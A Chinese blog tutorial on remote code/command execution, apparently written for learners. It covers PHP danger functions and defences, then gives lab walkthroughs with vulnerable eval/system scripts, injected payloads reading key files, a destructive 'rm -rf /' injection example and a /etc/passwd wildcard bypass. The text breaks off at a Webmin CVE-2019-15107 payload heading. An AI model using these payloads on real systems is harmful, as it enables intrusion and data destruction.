{"id":70686,"date":"2026-02-02T08:25:25","date_gmt":"2026-02-02T00:25:25","guid":{"rendered":"https:\/\/www.wsisp.com\/helps\/70686.html"},"modified":"2026-02-02T08:25:25","modified_gmt":"2026-02-02T00:25:25","slug":"9_rce%e6%bc%8f%e6%b4%9e%e5%88%a9%e7%94%a8%e4%b8%8e%e9%98%b2%e5%be%a1","status":"publish","type":"post","link":"https:\/\/www.wsisp.com\/helps\/70686.html","title":{"rendered":"9_RCE\u6f0f\u6d1e\u5229\u7528\u4e0e\u9632\u5fa1"},"content":{"rendered":"<p>\u7f51\u7edc\u5b89\u5168\u662f\u6570\u5b57\u65f6\u4ee3\u7684\u57fa\u77f3&#xff0c;\u4f46\u5b66\u4e60\u8fc7\u7a0b\u4e2d\u5fc5\u987b\u4e25\u5b88\u6cd5\u5f8b\u7ea2\u7ebf\u3002\u200c \u6839\u636e\u300a\u4e2d\u534e\u4eba\u6c11\u5171\u548c\u56fd\u7f51\u7edc\u5b89\u5168\u6cd5\u300b\u300a\u6570\u636e\u5b89\u5168\u6cd5\u300b\u7b49\u6cd5\u5f8b\u6cd5\u89c4&#xff0c;\u4efb\u4f55\u672a\u7ecf\u6388\u6743\u7684\u7f51\u7edc\u6d4b\u8bd5\u3001\u6570\u636e\u8bbf\u95ee\u6216\u653b\u51fb\u884c\u4e3a\u5747\u5c5e\u8fdd\u6cd5\u3002\u672c\u6587\u6240\u6709\u6280\u672f\u8ba8\u8bba\u4e0e\u5b9e\u4f8b\u5747\u57fa\u4e8e\u200c\u5408\u6cd5\u6388\u6743\u7684\u9776\u573a\u73af\u5883\u200c&#xff08;\u5982Metasploitable\u3001DVWA\u3001Hack The Box\u7b49&#xff09;&#xff0c;\u4e25\u7981\u5c06\u6587\u4e2d\u65b9\u6cd5\u5e94\u7528\u4e8e\u771f\u5b9e\u7cfb\u7edf\u6216\u975e\u6388\u6743\u573a\u666f\u3002 \u7f51\u7edc\u5b89\u5168\u5b66\u4e60\u5e94\u4ee5\u63d0\u5347\u9632\u5fa1\u80fd\u529b\u4e3a\u76ee\u6807&#xff0c;\u800c\u975e\u6210\u4e3a\u653b\u51fb\u5de5\u5177\u3002<\/p>\n<h3>\u4e00\u3001RCE\u6f0f\u6d1e\u57fa\u672c\u6982\u5ff5\u4e0e\u539f\u7406<\/h3>\n<p>RCE(Remote Code\/Command Execution)\u6f0f\u6d1e\u5373\u8fdc\u7a0b\u4ee3\u7801\/\u547d\u4ee4\u6267\u884c\u6f0f\u6d1e&#xff0c;\u662fWeb\u5e94\u7528\u4e2d\u6700\u4e25\u91cd\u7684\u5b89\u5168\u6f0f\u6d1e\u4e4b\u4e00\u3002\u8fd9\u7c7b\u6f0f\u6d1e\u5141\u8bb8\u653b\u51fb\u8005\u76f4\u63a5\u5411\u540e\u53f0\u670d\u52a1\u5668\u8fdc\u7a0b\u6ce8\u5165\u64cd\u4f5c\u7cfb\u7edf\u547d\u4ee4\u6216\u8005\u4ee3\u7801&#xff0c;\u4ece\u800c\u63a7\u5236\u540e\u53f0\u7cfb\u7edf\u200c\u3002<\/p>\n<p>RCE\u6f0f\u6d1e\u4e3b\u8981\u5206\u4e3a\u4e24\u79cd\u7c7b\u578b&#xff1a;<\/p>\n<li>\u200c\u8fdc\u7a0b\u547d\u4ee4\u6267\u884c\u200c&#xff1a;\u653b\u51fb\u8005\u53ef\u4ee5\u6267\u884c\u4efb\u610f\u64cd\u4f5c\u7cfb\u7edf\u547d\u4ee4<\/li>\n<li>\u200c\u8fdc\u7a0b\u4ee3\u7801\u6267\u884c\u200c&#xff1a;\u653b\u51fb\u8005\u53ef\u4ee5\u6267\u884c\u4efb\u610f\u4ee3\u7801(\u5982PHP\u3001Java\u7b49)<\/li>\n<p>\u8fd9\u7c7b\u6f0f\u6d1e\u7684\u4ea7\u751f\u901a\u5e38\u662f\u7531\u4e8e\u5f00\u53d1\u4eba\u5458\u4f7f\u7528\u4e86\u80fd\u591f\u5c06\u5b57\u7b26\u4e32\u4f5c\u4e3a\u4ee3\u7801\u6216\u547d\u4ee4\u6267\u884c\u7684\u51fd\u6570&#xff0c;\u800c\u6ca1\u6709\u5bf9\u7528\u6237\u8f93\u5165\u8fdb\u884c\u4e25\u683c\u7684\u9a8c\u8bc1\u548c\u8fc7\u6ee4\u200c\u3002\u5e38\u89c1\u7684\u6f0f\u6d1e\u89e6\u53d1\u70b9\u5305\u62ec&#xff1a;<\/p>\n<ul>\n<li>\u672a\u7ecf\u9a8c\u8bc1\u7684\u7528\u6237\u8f93\u5165\u76f4\u63a5\u62fc\u63a5\u7cfb\u7edf\u547d\u4ee4<\/li>\n<li>\u4f7f\u7528\u4e0d\u5b89\u5168\u7684\u51fd\u6570(\u5982PHP\u4e2d\u7684system()\u3001exec()\u3001eval()\u7b49)<\/li>\n<li>\u7b2c\u4e09\u65b9\u7ec4\u4ef6\u6216\u6846\u67b6\u4e2d\u5b58\u5728\u672a\u4fee\u590d\u7684\u4ee3\u7801\u6267\u884c\u6f0f\u6d1e<\/li>\n<\/ul>\n<h3>\u4e8c\u3001RCE\u6f0f\u6d1e\u7684\u5e38\u89c1\u5229\u7528\u65b9\u5f0f<\/h3>\n<h4>1. \u4e3b\u8981\u5229\u7528\u9014\u5f84<\/h4>\n<p>\u653b\u51fb\u8005\u5229\u7528RCE\u6f0f\u6d1e\u901a\u5e38\u901a\u8fc7\u4ee5\u4e0b\u65b9\u5f0f&#xff1a;<\/p>\n<ul>\n<li>\u200c\u8f93\u5165\u9a8c\u8bc1\u7f3a\u5931\u200c&#xff1a;\u901a\u8fc7\u6784\u9020\u6076\u610f\u8f93\u5165\u7ed5\u8fc7\u8fc7\u6ee4<\/li>\n<li>\u200c\u4e0d\u5b89\u5168\u7684\u51fd\u6570\u8c03\u7528\u200c&#xff1a;\u76f4\u63a5\u4f7f\u7528\u5371\u9669\u51fd\u6570\u5904\u7406\u7528\u6237\u8f93\u5165<\/li>\n<li>\u200c\u547d\u4ee4\u62fc\u63a5\u903b\u8f91\u9519\u8bef\u200c&#xff1a;\u672a\u8003\u8651\u547d\u4ee4\u5206\u9694\u7b26(\u5982;\u3001&amp;&amp;\u3001|\u7b49)\u53ef\u80fd\u88ab\u6ce8\u5165<\/li>\n<li>\u200c\u534f\u8bae\u89e3\u6790\u9519\u8bef\u200c&#xff1a;\u5982Web\u670d\u52a1\u5bf9\u7279\u5b9a\u534f\u8bae\u5904\u7406\u4e0d\u5f53\u5bfc\u81f4\u4ee3\u7801\u6267\u884c\u200c<\/li>\n<\/ul>\n<h4>2. \u5178\u578b\u653b\u51fb\u6280\u672f<\/h4>\n<ul>\n<li>\u200c\u547d\u4ee4\u6ce8\u5165\u200c&#xff1a;\u5728\u5408\u6cd5\u547d\u4ee4\u540e\u8ffd\u52a0\u6076\u610f\u547d\u4ee4(\u5982ping example.com; rm -rf \/)<\/li>\n<li>\u200c\u4ee3\u7801\u6ce8\u5165\u200c&#xff1a;\u901a\u8fc7 eval \u7b49\u51fd\u6570\u6267\u884c\u6076\u610f\u4ee3\u7801<\/li>\n<li>\u200c\u73af\u5883\u53d8\u91cf\u7be1\u6539\u200c&#xff1a;\u5229\u7528 $IFS \u7b49\u73af\u5883\u53d8\u91cf\u7ed5\u8fc7\u8fc7\u6ee4<\/li>\n<li>\u200c\u901a\u914d\u7b26\u5229\u7528\u200c&#xff1a;\u4f7f\u7528\/???\/??t\u7b49\u4ef7\u4e8ecat \/etc\/passwd\u7ed5\u8fc7\u9ed1\u540d\u5355<\/li>\n<li>\u200c\u65e0\u56de\u663e\u653b\u51fb\u200c&#xff1a;\u901a\u8fc7DNS\u5916\u5e26\u6570\u636e\u6216\u5ef6\u65f6\u76f2\u6ce8\u9a8c\u8bc1\u6f0f\u6d1e\u5b58\u5728\u200c<\/li>\n<\/ul>\n<h4>3. \u5e38\u89c1\u5229\u7528\u51fd\u6570<\/h4>\n<table>\n<tr>\u7c7b\u578bPHP\u51fd\u6570\u793a\u4f8b\u8bf4\u660e<\/tr>\n<tbody>\n<tr>\n<td align=\"center\">\u547d\u4ee4\u6267\u884c<\/td>\n<td align=\"center\">system(), exec(), shell_exec(), passthru(), popen()<\/td>\n<td align=\"center\">\u76f4\u63a5\u6267\u884c\u7cfb\u7edf\u547d\u4ee4<\/td>\n<\/tr>\n<tr>\n<td align=\"center\">\u4ee3\u7801\u6267\u884c<\/td>\n<td align=\"center\">eval(), assert(), create_function(), call_user_func()<\/td>\n<td align=\"center\">\u6267\u884cPHP\u4ee3\u7801<\/td>\n<\/tr>\n<tr>\n<td align=\"center\">\u53cd\u5e8f\u5217\u5316<\/td>\n<td align=\"center\">unserialize()<\/td>\n<td align=\"center\">\u53cd\u5e8f\u5217\u5316\u6f0f\u6d1e\u5bfc\u81f4\u4ee3\u7801\u6267\u884c<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n<h3>\u4e09\u3001RCE\u6f0f\u6d1e\u9632\u5fa1\u63aa\u65bd<\/h3>\n<h4>1. \u4ee3\u7801\u5c42\u9632\u5fa1<\/h4>\n<ul>\n<li>\u200c\u8f93\u5165\u9a8c\u8bc1\u200c&#xff1a;\u5bf9\u6240\u6709\u7528\u6237\u8f93\u5165\u8fdb\u884c\u4e25\u683c\u9a8c\u8bc1&#xff0c;\u9650\u5236\u5b57\u7b26\u96c6<\/li>\n<li>\u200c\u8f93\u51fa\u7f16\u7801\u200c&#xff1a;\u5728\u5c06\u7528\u6237\u6570\u636e\u4f20\u9012\u7ed9\u7cfb\u7edf\u547d\u4ee4\u524d\u8fdb\u884c\u9002\u5f53\u7f16\u7801<\/li>\n<li>\u200c\u7981\u7528\u5371\u9669\u51fd\u6570\u200c&#xff1a;\u5728php.ini\u4e2d\u7981\u7528 system\u3001exec\u3001eval \u7b49\u51fd\u6570<\/li>\n<li>\u200c\u4f7f\u7528\u5b89\u5168API\u200c&#xff1a;\u5982PHP\u4e2d\u4f7f\u7528 escapeshellarg() \u5904\u7406\u53c2\u6570\u200c<\/li>\n<\/ul>\n<h4>2. \u7cfb\u7edf\u5c42\u9632\u5fa1<\/h4>\n<ul>\n<li>\u200c\u6700\u5c0f\u6743\u9650\u539f\u5219\u200c&#xff1a;\u5e94\u7528\u7a0b\u5e8f\u8fd0\u884c\u65f6\u4f7f\u7528\u6700\u4f4e\u5fc5\u8981\u6743\u9650<\/li>\n<li>\u200c\u53ca\u65f6\u66f4\u65b0\u8865\u4e01\u200c&#xff1a;\u4fdd\u6301\u64cd\u4f5c\u7cfb\u7edf\u3001\u6846\u67b6\u548c\u7b2c\u4e09\u65b9\u7ec4\u4ef6\u6700\u65b0<\/li>\n<li>\u200c\u7f51\u7edc\u9694\u79bb\u200c&#xff1a;\u9650\u5236\u4e0d\u5fc5\u8981\u7684\u7f51\u7edc\u8bbf\u95ee\u548c\u7aef\u53e3\u5f00\u653e<\/li>\n<li>\u200c\u65e5\u5fd7\u76d1\u63a7\u200c&#xff1a;\u8bb0\u5f55\u5f02\u5e38\u547d\u4ee4\u6267\u884c\u884c\u4e3a\u5e76\u8bbe\u7f6e\u544a\u8b66\u200c<\/li>\n<\/ul>\n<h4>3. \u67b6\u6784\u8bbe\u8ba1\u9632\u5fa1<\/h4>\n<ul>\n<li>\u200c\u6c99\u7bb1\u73af\u5883\u200c&#xff1a;\u5728\u9694\u79bb\u73af\u5883\u4e2d\u6267\u884c\u4e0d\u53ef\u4fe1\u4ee3\u7801<\/li>\n<li>\u200c\u767d\u540d\u5355\u673a\u5236\u200c&#xff1a;\u53ea\u5141\u8bb8\u6267\u884c\u9884\u5b9a\u4e49\u7684\u5b89\u5168\u547d\u4ee4<\/li>\n<li>\u200c\u6df1\u5ea6\u9632\u5fa1\u200c&#xff1a;\u7ed3\u5408 WAF\u3001IDS \u7b49\u591a\u5c42\u9632\u62a4\u63aa\u65bd\u200c<\/li>\n<\/ul>\n<h3>\u56db\u3001\u5b9e\u4f8b\u2013\u8fdc\u7a0b\u4ee3\u7801\u6267\u884c<\/h3>\n<p>\u51c6\u5907\u6587\u4ef6 a.php \u5230PHP study\u7684\u7f51\u7ad9\u6839\u76ee\u5f55\u4e0b\u3002\u4ee3\u7801&#xff1a;<\/p>\n<p><span class=\"token delimiter important\">&lt;?php<\/span><br \/>\n<span class=\"token variable\">$code<\/span><span class=\"token operator\">&#061;<\/span><span class=\"token variable\">$_GET<\/span><span class=\"token punctuation\">[<\/span><span class=\"token string single-quoted-string\">&#039;x&#039;<\/span><span class=\"token punctuation\">]<\/span><span class=\"token punctuation\">;<\/span><br \/>\n<span class=\"token keyword\">eval<\/span><span class=\"token punctuation\">(<\/span><span class=\"token variable\">$code<\/span><span class=\"token punctuation\">)<\/span><span class=\"token punctuation\">;<\/span><br \/>\n<span class=\"token operator\">?<\/span><span class=\"token operator\">&gt;<\/span><\/p>\n<p>\u8bbf\u95ee\u94fe\u63a5&#xff0c;\u5e76\u6267\u884c\u4ee3\u7801 phpinfo();<\/p>\n<p>http:\/\/localhost\/a.php?x&#061;phpinfo();<\/p>\n<p><img decoding=\"async\" src=\"https:\/\/www.wsisp.com\/helps\/wp-content\/uploads\/2026\/02\/20260202002518-697feeeeb3a96.png\" alt=\"\u5728\u8fd9\u91cc\u63d2\u5165\u56fe\u7247\u63cf\u8ff0\" \/><\/p>\n<p>\u6267\u884c\u4ee3\u7801&#xff1a;echo time(); \u663e\u793a\u65f6\u95f4\u6233<\/p>\n<p>http:\/\/localhost\/a.php?x&#061;echo time();<\/p>\n<p><img decoding=\"async\" src=\"https:\/\/www.wsisp.com\/helps\/wp-content\/uploads\/2026\/02\/20260202002519-697feeef56fdb.png\" alt=\"\u5728\u8fd9\u91cc\u63d2\u5165\u56fe\u7247\u63cf\u8ff0\" \/><\/p>\n<h3>\u4e94\u3001\u5b9e\u4f8b\u2013\u8fdc\u7a0b\u547d\u4ee4\u6267\u884c<\/h3>\n<p>\u51c6\u5907\u6587\u4ef6 b.php \u5230PHP study\u7684\u7f51\u7ad9\u6839\u76ee\u5f55\u4e0b\u3002\u4ee3\u7801&#xff1a;<\/p>\n<p>&lt;?php<br \/>\n$code&#061;$_GET[&#039;x&#039;];<br \/>\necho system($code);<br \/>\n?&gt;<\/p>\n<p>\u6267\u884c cmd \u7ec8\u7aef\u547d\u4ee4 dir<\/p>\n<p>http:\/\/localhost\/b.php?x&#061;dir<\/p>\n<p><img decoding=\"async\" src=\"https:\/\/www.wsisp.com\/helps\/wp-content\/uploads\/2026\/02\/20260202002519-697feeef7e90e.png\" alt=\"\u5728\u8fd9\u91cc\u63d2\u5165\u56fe\u7247\u63cf\u8ff0\" \/><\/p>\n<p>\u6267\u884c cmd \u7ec8\u7aef\u547d\u4ee4 regedit \u67e5\u770b\u6ce8\u518c\u8868<\/p>\n<p><img decoding=\"async\" src=\"https:\/\/www.wsisp.com\/helps\/wp-content\/uploads\/2026\/02\/20260202002519-697feeefe2543.png\" alt=\"\u5728\u8fd9\u91cc\u63d2\u5165\u56fe\u7247\u63cf\u8ff0\" \/><\/p>\n<h3>\u516d\u3001\u6848\u4f8b\u2013\u516c\u7f51\u6f0f\u6d1e\u5229\u7528<\/h3>\n<p>\u7f51\u5740&#xff1a;\u58a8\u8005\u5b66\u9662<\/p>\n<p>\u524d\u63d0&#xff1a;\u9700\u8981\u7528\u624b\u673a\u6ce8\u518c<\/p>\n<h4>1\u3001\u5b9e\u4f8b\u2013\u547d\u4ee4\u6ce8\u5165\u6267\u884c<\/h4>\n<p>\u94fe\u63a5&#xff1a;https:\/\/www.mozhe.cn\/bug\/detail\/12<\/p>\n<p>\u76ee\u6807&#xff1a;\u83b7\u53d6mozhe\u5f00\u5934\u7684KEY<\/p>\n<h5>1.&#xff09;\u6536\u96c6\u4fe1\u606f<\/h5>\n<p>\u6253\u5f00\u9776\u573a&#xff0c;\u6b63\u786e\u8f93\u5165 127.0.0.1 \u770b\u4ec0\u4e48\u60c5\u51b5&#xff0c;\u987a\u4fbf\u6253\u5f00 \u5f00\u53d1\u8005\u5de5\u5177 \u770b\u6709\u4ec0\u4e48\u6709\u7528\u4fe1\u606f<\/p>\n<p><img decoding=\"async\" src=\"https:\/\/www.wsisp.com\/helps\/wp-content\/uploads\/2026\/02\/20260202002520-697feef02e654.png\" alt=\"\u5728\u8fd9\u91cc\u63d2\u5165\u56fe\u7247\u63cf\u8ff0\" \/><\/p>\n<p>\u83b7\u53d6\u7684\u4fe1\u606f\u5305\u62ec&#xff1a;<\/p>\n<p>\u7cfb\u7edf&#xff1a;ubuntu4.14<\/p>\n<p>\u670d\u52a1\u4e2d\u95f4\u4ef6&#xff1a;Apache\/2.4.7 (Ubuntu)<\/p>\n<p>\u7f16\u7a0b\u8bed\u8a00&#xff1a;PHP\/5.5.9 \u5373 js \u8bed\u8a00<\/p>\n<p>\u56e0\u4e3a\u53ea\u6709\u4e00\u4e2a\u8f93\u5165\u6846&#xff0c;\u968f\u4fbf\u5199\u4e2a\u547d\u4ee4 &#xff1a; 127.0.0.1 | ls<\/p>\n<p><img decoding=\"async\" src=\"https:\/\/www.wsisp.com\/helps\/wp-content\/uploads\/2026\/02\/20260202002520-697feef0e7709.png\" alt=\"\u5728\u8fd9\u91cc\u63d2\u5165\u56fe\u7247\u63cf\u8ff0\" \/><\/p>\n<p>\u6709\u63d0\u793a&#xff0c;\u4f46\u662f\u4e0a\u6b21\u7684\u8bf7\u6c42\u6570\u636e\u90fd\u6ca1\u6709\u53d8\u5316&#xff0c;\u6240\u4ee5\u662f\u524d\u7aef\u63d0\u793a&#xff0c;\u53c8\u662fjs\u8bed\u8a00\u7f16\u5199\u7684\u7f51\u9875&#xff0c;\u6240\u4ee5&#xff0c;\u7981\u7528\u524d\u7aef js \u3002\u518d\u8bd5&#xff0c;\u7ed3\u679c\u4e0d\u53d8\u3002\u9700\u8981\u4f7f\u7528 BurpSuite \u6293\u5305\u5de5\u5177\u3002<\/p>\n<h5>2.&#xff09;\u5b9e\u65bd<\/h5>\n<p>\u7f51\u7ad9\u8f93\u5165 127.0.0.1 \u6293\u5305<\/p>\n<p><img decoding=\"async\" src=\"https:\/\/www.wsisp.com\/helps\/wp-content\/uploads\/2026\/02\/20260202002521-697feef1728e1.png\" alt=\"\u5728\u8fd9\u91cc\u63d2\u5165\u56fe\u7247\u63cf\u8ff0\" \/><\/p>\n<p>\u7ea2\u6846\u91cc\u7684\u5185\u5bb9\u662f\u53ef\u4ee5\u6539\u7684&#xff0c;\u53d1\u9001\u5230 Respeater \u3002<\/p>\n<p>\u5148\u5c06 iipp&#061;127.0.0.1 \u6539\u4e3a iipp&#061;127.0.0.1 | ls \u7136\u540e\u70b9\u51fb\u53d1\u9001<\/p>\n<p><img decoding=\"async\" src=\"https:\/\/www.wsisp.com\/helps\/wp-content\/uploads\/2026\/02\/20260202002521-697feef19ef70.png\" alt=\"\u5728\u8fd9\u91cc\u63d2\u5165\u56fe\u7247\u63cf\u8ff0\" \/><\/p>\n<p>\u5728\u54cd\u5e94\u4e2d\u5f97\u5230key\u6587\u4ef6 key_322103160614123.php<\/p>\n<p>\u7ee7\u7eed\u6539\u8bf7\u6c42 iipp&#061;127.0.0.1 | cat&lt;key_322103160614123.php \u7136\u540e\u53d1\u9001<\/p>\n<p><img decoding=\"async\" src=\"https:\/\/www.wsisp.com\/helps\/wp-content\/uploads\/2026\/02\/20260202002522-697feef20a0a6.png\" alt=\"\u5728\u8fd9\u91cc\u63d2\u5165\u56fe\u7247\u63cf\u8ff0\" \/><\/p>\n<p>\u5728\u54cd\u5e94\u6846\u4e2d\u5f97\u5230\u4e86 key<\/p>\n<h4>2\u3001\u5b9e\u4f8b\u2013PHP \u4ee3\u7801\u5206\u6790<\/h4>\n<p>\u94fe\u63a5&#xff1a;https:\/\/www.mozhe.cn\/bug\/detail\/13<\/p>\n<p>\u76ee\u6807&#xff1a;\u83b7\u53d6mozhe\u5f00\u5934\u7684KEY<\/p>\n<h5>1.&#xff09;\u6536\u96c6\u4fe1\u606f<\/h5>\n<p>\u6253\u5f00\u9776\u573a&#xff0c;\u83b7\u5f97\u4ee5\u4e0b\u4fe1\u606f<\/p>\n<p><img decoding=\"async\" src=\"https:\/\/www.wsisp.com\/helps\/wp-content\/uploads\/2026\/02\/20260202002522-697feef2570ea.png\" alt=\"\u5728\u8fd9\u91cc\u63d2\u5165\u56fe\u7247\u63cf\u8ff0\" \/><\/p>\n<p>\u7f51\u9875\u4e2d\u7684\u4ee3\u7801\u53ef\u4ea4\u7ed9 ai \u770b\u662f\u4ec0\u4e48\u60c5\u51b5<\/p>\n<p>&lt;?php<br \/>\neval(gzinflate(base64_decode(&amp;40pNzshXSFCJD3INDHUNDolOjE2wtlawt&#043;MCAA&#061;&#061;&amp;)));<br \/>\n?&gt; <\/p>\n<p>\u4ee3\u7801\u7ed3\u6784\u5305\u542b\u4e09\u4e2a\u4e3b\u8981\u51fd\u6570&#xff1a;<\/p>\n<ul>\n<li>base64_decode() \u7528\u4e8e\u89e3\u7801Base64\u7f16\u7801\u7684\u5b57\u7b26\u4e32<\/li>\n<li>gzinflate() \u5bf9\u7ecf\u8fc7gzip\u538b\u7f29\u7684\u6570\u636e\u8fdb\u884c\u89e3\u538b\u7f29<\/li>\n<li>eval() \u51fd\u6570\u5219\u6267\u884c\u89e3\u7801\u89e3\u538b\u540e\u7684PHP\u4ee3\u7801<\/li>\n<\/ul>\n<p>\u8fd9\u79cdeval(gzinflate(base64_decode()))\u7684\u7ec4\u5408\u662fPHP\u4ee3\u7801\u52a0\u5bc6\u7684\u5e38\u89c1\u624b\u6cd525\u3002\u8981\u67e5\u770b\u5b9e\u9645\u4ee3\u7801\u5185\u5bb9&#xff0c;\u53ef\u4ee5\u5c06eval\u66ff\u6362\u4e3aecho&#xff0c;\u8fd9\u6837\u5c31\u80fd\u8f93\u51fa\u89e3\u5bc6\u540e\u7684\u539f\u59cb\u4ee3\u7801\u800c\u4e0d\u662f\u6267\u884c\u5b83\u3002<\/p>\n<p>\u5c06\u4ee5\u4e0a\u4ee3\u7801\u8fdb\u884c\u66f4\u6539&#xff0c;\u5e76\u4fdd\u5b58\u5230\u672c\u5730 PHP study \u7684\u7f51\u7ad9\u6839\u76ee\u5f55\u4e0b&#xff0c;\u770b\u8fd0\u884c\u7ed3\u679c\u3002<\/p>\n<p>&lt;?php<br \/>\necho(gzinflate(base64_decode(&#034;&amp;40pNzshXSFCJD3INDHUNDolOjE2wtlawt&#043;MCAA&#061;&#061;&amp;&#034;)));<br \/>\n?&gt; <\/p>\n<p><img decoding=\"async\" src=\"https:\/\/www.wsisp.com\/helps\/wp-content\/uploads\/2026\/02\/20260202002522-697feef2c6ebd.png\" alt=\"\u5728\u8fd9\u91cc\u63d2\u5165\u56fe\u7247\u63cf\u8ff0\" \/><\/p>\n<p>\u7ee7\u7eed\u5c06\u4ee3\u7801 \u4ea4\u7ed9 ai \u6765\u770b\u770b\u662f\u600e\u4e48\u56de\u4e8b<\/p>\n<p>echo &#096;$_REQUEST[a]&#096;;; ?&gt;<\/p>\n<p>**\u4ee3\u7801\u89e3\u91ca&#xff1a;**\u200c<\/p>\n<ul>\n<li>echo&#xff1a;PHP\u8f93\u51fa\u8bed\u53e5&#xff0c;\u7528\u4e8e\u663e\u793a\u5185\u5bb9<\/li>\n<li>\u53cd\u5f15\u53f7 &#096;&#xff1a;\u5728PHP\u4e2d\u6267\u884c\u7cfb\u7edf\u547d\u4ee4\u7684\u64cd\u4f5c\u7b26&#xff08;\u7b49\u540c\u4e8eshell_exec()&#xff09;<\/li>\n<li>$_REQUEST[&#039;a&#039;]&#xff1a;\u83b7\u53d6HTTP\u8bf7\u6c42\u53c2\u6570\u2019a\u2019\u7684\u503c&#xff08;\u5305\u542bGET\u3001POST\u3001COOKIE&#xff09;<\/li>\n<li>;;&#xff1a;\u4e24\u4e2a\u8fde\u7eed\u7684\u5206\u53f7&#xff0c;\u7b2c\u4e00\u4e2a\u7ed3\u675fecho\u8bed\u53e5&#xff0c;\u7b2c\u4e8c\u4e2a\u662f\u7a7a\u8bed\u53e5<\/li>\n<li>?&gt;&#xff1a;PHP\u7ed3\u675f\u6807\u8bb0<\/li>\n<\/ul>\n<p>\u81f3\u6b64\u627e\u5230\u4e86\u53ef\u4ee5\u4f20\u9012\u53c2\u6570\u7684\u53d8\u91cf\u8282\u70b9&#xff0c;\u800c\u4e14\u662f\u53ef\u4ee5\u6267\u884cLinux\u547d\u4ee4\u7684\u5730\u65b9<\/p>\n<h5>2.&#xff09;\u5b9e\u65bd<\/h5>\n<p>\u5c06\u539f\u7f51\u7ad9\u94fe\u63a5\u4e2d\u6dfb\u52a0\u53c2\u6570 http:\/\/124.70.64.48:47358\/f.php?a&#061;ls<\/p>\n<p><img decoding=\"async\" src=\"https:\/\/www.wsisp.com\/helps\/wp-content\/uploads\/2026\/02\/20260202002522-697feef2d6e87.png\" alt=\"\u5728\u8fd9\u91cc\u63d2\u5165\u56fe\u7247\u63cf\u8ff0\" \/><\/p>\n<p>\u5f97\u5230\u4e86\u7591\u4f3c\u4fdd\u5b58 KEY \u7684\u6587\u4ef6 key_261112628213739.php<\/p>\n<p>\u7ee7\u7eed\u66f4\u6539\u53c2\u6570 http:\/\/124.70.64.48:47358\/f.php?a&#061;cat&lt;key_261112628213739.php<\/p>\n<p>\u5237\u65b0\u540e&#xff0c;\u67e5\u770b\u6e90\u4ee3\u7801&#xff0c;\u83b7\u5f97 KEY<\/p>\n<p><img decoding=\"async\" src=\"https:\/\/www.wsisp.com\/helps\/wp-content\/uploads\/2026\/02\/20260202002523-697feef337646.png\" alt=\"\u5728\u8fd9\u91cc\u63d2\u5165\u56fe\u7247\u63cf\u8ff0\" \/><\/p>\n<p>\u6216\u8005\u5237\u65b0\u524d\u6253\u5f00 BurpSuite \u7136\u540e\u8fdb\u884c\u6293\u5305&#xff0c;\u53d1\u9001\u5230 Repeater \u67e5\u770b\u54cd\u5e94\u5185\u5bb9&#xff0c;\u4e00\u6837\u53ef\u4ee5\u627e\u5230 KEY<\/p>\n<p><img decoding=\"async\" src=\"https:\/\/www.wsisp.com\/helps\/wp-content\/uploads\/2026\/02\/20260202002523-697feef36801e.png\" alt=\"\u5728\u8fd9\u91cc\u63d2\u5165\u56fe\u7247\u63cf\u8ff0\" \/><\/p>\n<h4>3\u3001\u5b9e\u4f8b\u2013\u8fdc\u7a0b\u4ee3\u7801\u6267\u884c<\/h4>\n<p>\u94fe\u63a5&#xff1a;https:\/\/www.mozhe.cn\/bug\/detail\/309<\/p>\n<p>\u76ee\u6807&#xff1a;\u83b7\u53d6mozhe\u5f00\u5934\u7684KEY<\/p>\n<h5>1.&#xff09;\u4fe1\u606f\u6536\u96c6<\/h5>\n<p>\u6253\u5f00\u9776\u573a&#xff0c;\u83b7\u5f97\u4ee5\u4e0b\u4fe1\u606f<\/p>\n<p><img decoding=\"async\" src=\"https:\/\/www.wsisp.com\/helps\/wp-content\/uploads\/2026\/02\/20260202002523-697feef39d9db.png\" alt=\"\u5728\u8fd9\u91cc\u63d2\u5165\u56fe\u7247\u63cf\u8ff0\" \/><\/p>\n<p>\u4e2d\u95f4\u4ef6&#xff1a;MiniServ\/1.910<\/p>\n<p>\u200b MiniServ\/1.910\u662fWebmin\u7684\u7248\u672c\u6807\u8bc6&#xff0c;\u5e38\u7528\u4e8e\u63cf\u8ff0Webmin\u7684\u7279\u5b9a\u7248\u672c<\/p>\n<p>X-Frame-Options: SAMEORIGIN<\/p>\n<p>\u200b \u54cd\u5e94\u5934&#xff0c;\u9650\u5b9a\u9875\u9762\u53ea\u80fd\u88ab\u540c\u6e90\u57df\u540d\u5d4c\u5957\u5c55\u793a&#xff0c;\u6709\u6548\u9632\u5fa1\u70b9\u51fb\u52ab\u6301\u653b\u51fb<\/p>\n<p>\u7279\u522b\u6ce8\u610f&#xff1a;\u767b\u5f55\u6846\u4e2d\u95f4\u6709\u6bb5\u8bdd&#xff0c;\u4f60\u5fc5\u987b\u6838\u5bf9\u4ee5\u4e0b\u4fe1\u606f\u4e2d\u7684IP\u662f\u5426\u4e0e\u767b\u5f55\u7684IP\u4e00\u81f4<\/p>\n<p>\u968f\u4fbf\u8f93\u5165\u7528\u6237\u540d\u548c\u5bc6\u7801&#xff0c;\u4f7f\u7528 BurpSuite \u6293\u5305\u3002\u7136\u800c\u5e76\u6ca1\u6709\u4ec0\u4e48\u5375\u7528\u3002\u9700\u8981\u56de\u5934\u518d\u770b\u4ee5\u4e0b\u9776\u573a\u4fe1\u606f<\/p>\n<p>\u80cc\u666f\u4e0a\u8bf4\u660e&#xff0c;\u8be5\u6f0f\u6d1e\u5b58\u5728\u4e8e\u5bc6\u7801\u91cd\u7f6e\u9875\u9762\u4e2d&#xff01;&#xff01;&#xff01;<\/p>\n<p>\u901a\u8fc7\u7f51\u7edc\u641c\u7d22&#xff0c;MiniServ\/1.910 \u5b58\u5728\u6f0f\u6d1e CVE-2019-15107<\/p>\n<p>CVE-2019-15107 \u6f0f\u6d1e\u4ecb\u7ecd&#xff1a;<\/p>\n<p>\u200b \u8be5\u6f0f\u6d1e\u6e90\u4e8epassword_change.cgi\u6587\u4ef6\u5bf9old\u53c2\u6570\u7f3a\u5c11\u5145\u5206\u7684\u8f93\u5165\u9a8c\u8bc1&#xff0c;\u5bfc\u81f4\u653b\u51fb\u8005\u80fd\u591f\u5728\u672a\u6388\u6743\u7684\u60c5\u51b5\u4e0b\u6267\u884c\u4efb\u610f\u7cfb\u7edf\u547d\u4ee4\u3002<\/p>\n<p>Payload 